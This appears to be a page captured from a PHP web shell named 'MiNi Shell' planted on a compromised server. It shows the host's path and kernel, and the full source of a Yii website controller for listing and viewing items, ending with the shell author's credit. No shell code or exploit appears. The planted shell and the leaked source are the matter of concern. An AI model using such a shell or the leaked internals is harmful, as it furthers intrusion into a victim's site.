Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/website/controllers/
Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Current File : //home/vmanager/www/website/controllers/ItemsController.php
<?php
namespace website\controllers;

use Yii;
use yii\web\Controller;
use yii\helpers\ArrayHelper;
use yii\helpers\Html;
use yii\web\NotFoundHttpException;
use common\models\WebsitesPages;
use common\models\WebsitesModules;
use common\models\WebsitesItems;
use common\models\WebsitesItemsTranslations;
use common\models\WebsitesPagesCategories;
use common\models\WebsitesItemsHasWebsitesPagesCategories;
use common\models\types\WebsiteItemType;
use yii\data\ActiveDataProvider;
use common\models\types\Status;

/**
 * Items controller
 */
class ItemsController extends Controller
{   
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => '\common\components\controllers\actions\ErrorAction',
            ],
        ];
    }

    public function actionIndex($id, $id_category = null, $slug = null)
    {
        
        $modelWebsite = Yii::$app->params['modelWebsite'];
        
        $modelPage = $modelWebsite->getPages()
                ->with([
                    'translations' => function($q) {
                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
                    }
                ])
                ->where(['id_page' => $id])
                ->one();
                
        if ($modelPage === null || !$this->checkIfPageSupportsElements($modelPage) || empty($modelPage->translations[0])) {
            throw new NotFoundHttpException(Yii::t('website', 'Nie znaleziono strony.'));
        }         
        
        Yii::$app->params['orMainPage'] = (int)$modelPage->or_main;
        
        $modelPageTranslation = $modelPage->translations[0];
        
        Yii::$app->view->title = Html::encode($modelPageTranslation->title);
        Yii::$app->view->registerMetaTag(['name' => 'keywords', 'content' => Html::encode($modelPageTranslation->keywords)]);
        Yii::$app->view->registerMetaTag(['name' => 'description', 'content' => Html::encode($modelPageTranslation->description)]);
        
        $itemTypeConstant = WebsiteItemType::getItemTypeConstantForModule($modelPage->id_module);
        $itemTypeValue = constant('\common\models\types\WebsiteItemType::'.$itemTypeConstant);
        
        $modelCategory = null;
        $categories = WebsitesPagesCategories::getCategoryTree($modelPage->id_page, Yii::$app->params['idLanguage']);
        if(!empty($categories)) {
            $categories = $categories[0]['children'];
            
            if(!empty($id_category)) {
                $modelCategory = $modelPage->getCategories()
                        ->with([
                            'translations' => function($q) { 
                                $q->where(['id_language' => Yii::$app->params['idLanguage']]);                             
                            } 
                        ])->where(['id_category' => $id_category])
                        ->one();
            }
        }
        
        $queryForItems = WebsitesItems::find()
                ->join('INNER JOIN', 'websites_pages_has_websites_items', 'websites_pages_has_websites_items.id_item = websites_items.id_item AND websites_pages_has_websites_items.id_page = '.intval($modelPage->id_page))
                ->joinWith([
                    'translations' => function($q) {
                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
                    }],
                    true,
                    'INNER JOIN'
                )
                ->with([
                    'country', 
                    'region'
//                    'photos', 
//                    'photos.translations' => function($q) {
//                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
//                    },
//                    'attachments', 
//                    'attachments.translations' => function($q) {
//                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
//                    }
                ])
                ->where([
                    'websites_items.item_type' => $itemTypeValue,
                    'websites_items.status' => Status::ACTIVE
                ]);
        if(!empty($modelCategory)) {
            $idsCategories = WebsitesPagesCategories::getIdsSelectedBranch($modelCategory);

            $queryForItems->andWhere([
                'in', 
                'websites_items.id_item', 
                WebsitesItemsHasWebsitesPagesCategories::find()
                    ->select(['websites_items_has_websites_pages_categories.id_item'])
                    ->where(['websites_items_has_websites_pages_categories.id_category' => $idsCategories])
                    ->groupBy('websites_items_has_websites_pages_categories.id_item')
            ]);
        }
        
        $defaultPageSize = !empty($modelPage->settings['pagination_default_page_size']) ? intval($modelPage->settings['pagination_default_page_size']) : 25;
        
        $dataProvider = new ActiveDataProvider([
            'query' => $queryForItems,
            'pagination' => [
                'defaultPageSize' => $defaultPageSize,
                'pageParam' => 'p',
                'pageSizeParam' => 'pp',
            ],
            'sort' => [
                'attributes' => [
                    'position' => [
                        'asc' => ['websites_pages_has_websites_items.item_order' => SORT_ASC],
                        'desc' => ['websites_pages_has_websites_items.item_order' => SORT_DESC],
                        'default' => ['websites_pages_has_websites_items.item_order' => SORT_ASC],
                    ],
                    'name' => [
                        'asc' => ['websites_items_translations.name' => SORT_ASC],
                        'desc' => ['websites_items_translations.name' => SORT_DESC],
                        'default' => ['websites_items_translations.name' => SORT_ASC],
                    ],
                    'date_start' => [
                        'asc' => ['websites_items.datetime_start' => SORT_ASC],
                        'desc' => ['websites_items.datetime_start' => SORT_DESC],
                        'default' => ['websites_items.datetime_start' => SORT_DESC]
                    ],
                ],
                'defaultOrder' => [
                    'position' => SORT_ASC
                ],
            ]
        ]);
        
        if(!empty($modelPage->settings['pagination_page_size_options']) && is_array($modelPage->settings['pagination_page_size_options'])) {
            $dataProvider->pagination->pageSizeLimit = sort($modelPage->settings['pagination_page_size_options']); 
        } 
        
        $viewItemFileName = '_item_'.mb_strtolower($itemTypeConstant);
        
        $availableFieldsInModel = $availableFieldsInModelTranslation = [];
        $baseModelItem = new WebsitesItems(['item_type' => $itemTypeValue]);
        $baseModelItemTranslation = new WebsitesItemsTranslations();
        $scenariosFromModel = $baseModelItem->scenarios();
        $scenariosFromModelTranslation = $baseModelItemTranslation->scenarios();
        if(isset($scenariosFromModel[$baseModelItem->getScenarioPrefix().'Create'])) {
            foreach($scenariosFromModel[$baseModelItem->getScenarioPrefix().'Create'] as $fieldName) {
                $availableFieldsInModel[ltrim($fieldName, '!')] = true;
            }
        }
        if(isset($scenariosFromModelTranslation[$baseModelItem->getScenarioPrefix().'Create'])) {
            foreach($scenariosFromModelTranslation[$baseModelItem->getScenarioPrefix().'Create'] as $fieldName) {
                $availableFieldsInModelTranslation[ltrim($fieldName, '!')] = true;
            }
        }
        unset($scenariosFromModel, $scenariosFromModelTranslation, $baseModelItem, $baseModelItemTranslation);
        
        return $this->render('index', [
            'modelPage' => $modelPage,
            'modelPageTranslation' => $modelPageTranslation,
            'dataProvider' => $dataProvider,
            'viewItemFileName' => $viewItemFileName,
            'availableFieldsInModel' => $availableFieldsInModel,
            'availableFieldsInModelTranslation' => $availableFieldsInModelTranslation,
            'categories' => $categories,
            'modelCategory' => $modelCategory
        ]);
    }
    
    protected function checkIfPageSupportsElements($modelPage)
    {
        return in_array($modelPage->id_module, [
            WebsitesModules::MODULE_NEWS, WebsitesModules::MODULE_ARTICLES, WebsitesModules::MODULE_PRODUCTS, WebsitesModules::MODULE_ADVERTISEMENTS, 
            WebsitesModules::MODULE_TRAININGS, WebsitesModules::MODULE_FAIRS, WebsitesModules::MODULE_PHOTO_GALLERIES
        ]);
    }
    
    public function actionView($id, $slug = null)
    {
        
        $modelWebsite = Yii::$app->params['modelWebsite'];
        
        $modelItem = $modelWebsite->getItems()
                ->with([
                    'translations' => function($q) {
                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
                    }
                ])
                ->where(['id_item' => $id])
                ->one();
                
        if ($modelItem === null || empty($modelItem->translations[0])) {
            throw new NotFoundHttpException(Yii::t('website', 'Nie znaleziono strony.'));
        }         
        
        $modelItemTranslation = $modelItem->translations[0];
        
        Yii::$app->view->title = Html::encode($modelItemTranslation->name);
        Yii::$app->view->registerMetaTag(['name' => 'keywords', 'content' => Html::encode($modelItemTranslation->keywords)]);
        Yii::$app->view->registerMetaTag(['name' => 'description', 'content' => Html::encode($modelItemTranslation->description)]);
        
        $itemTypeConstant = WebsiteItemType::getItemTypeConstantForValue($modelItem->item_type);          
        
        $viewFileName = 'view_'.mb_strtolower($itemTypeConstant);
        
        $availableFieldsInModel = $availableFieldsInModelTranslation = [];
        $scenariosFromModel = $modelItem->scenarios();
        $scenariosFromModelTranslation = $modelItemTranslation->scenarios();
        if(isset($scenariosFromModel[$modelItem->getScenarioPrefix().'Create'])) {
            foreach($scenariosFromModel[$modelItem->getScenarioPrefix().'Create'] as $fieldName) {
                $availableFieldsInModel[ltrim($fieldName, '!')] = true;
            }
        }
        if(isset($scenariosFromModelTranslation[$modelItem->getScenarioPrefix().'Create'])) {
            foreach($scenariosFromModelTranslation[$modelItem->getScenarioPrefix().'Create'] as $fieldName) {
                $availableFieldsInModelTranslation[ltrim($fieldName, '!')] = true;
            }
        }
        unset($scenariosFromModel, $scenariosFromModelTranslation);
        
        $modelsPhotos = $modelWebsite->getPhotos()
                ->join('INNER JOIN', 'websites_items_has_websites_photos', 'websites_items_has_websites_photos.id_photo = websites_photos.id_photo')
                ->with([
                    'translations' => function($q) {
                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
                    }
                ])
                ->where([
                    'websites_items_has_websites_photos.id_item' => $modelItem->id_item
                ])->orderBy('websites_items_has_websites_photos.photo_order ASC, websites_items_has_websites_photos.created_at DESC')
                ->all();
                
        $modelsAttachments = $modelWebsite->getAttachments()
                ->join('INNER JOIN', 'websites_items_has_websites_attachments', 'websites_items_has_websites_attachments.id_attachment = websites_attachments.id_attachment')
                ->with([
                    'translations' => function($q) {
                        $q->where(['id_language' => Yii::$app->params['idLanguage']]);
                    }
                ])
                ->where([
                    'websites_items_has_websites_attachments.id_item' => $modelItem->id_item
                ])->orderBy('websites_items_has_websites_attachments.attachment_order ASC, websites_items_has_websites_attachments.created_at DESC')
                ->all();
        
        Yii::$app->params['linkCanonical'] = \yii\helpers\Url::to(['items/view', 'id' => $modelItem->id_item, 'slug' => $modelItemTranslation->slug], true);
        
        return $this->render($viewFileName, [
            'modelItem' => $modelItem,
            'modelItemTranslation' => $modelItemTranslation,
            'availableFieldsInModel' => $availableFieldsInModel,
            'availableFieldsInModelTranslation' => $availableFieldsInModelTranslation,
            'modelsPhotos' => $modelsPhotos,
            'modelsAttachments' => $modelsAttachments
        ]);
    }
}
Creat By MiNi SheLL
Email: jattceo@gmail.com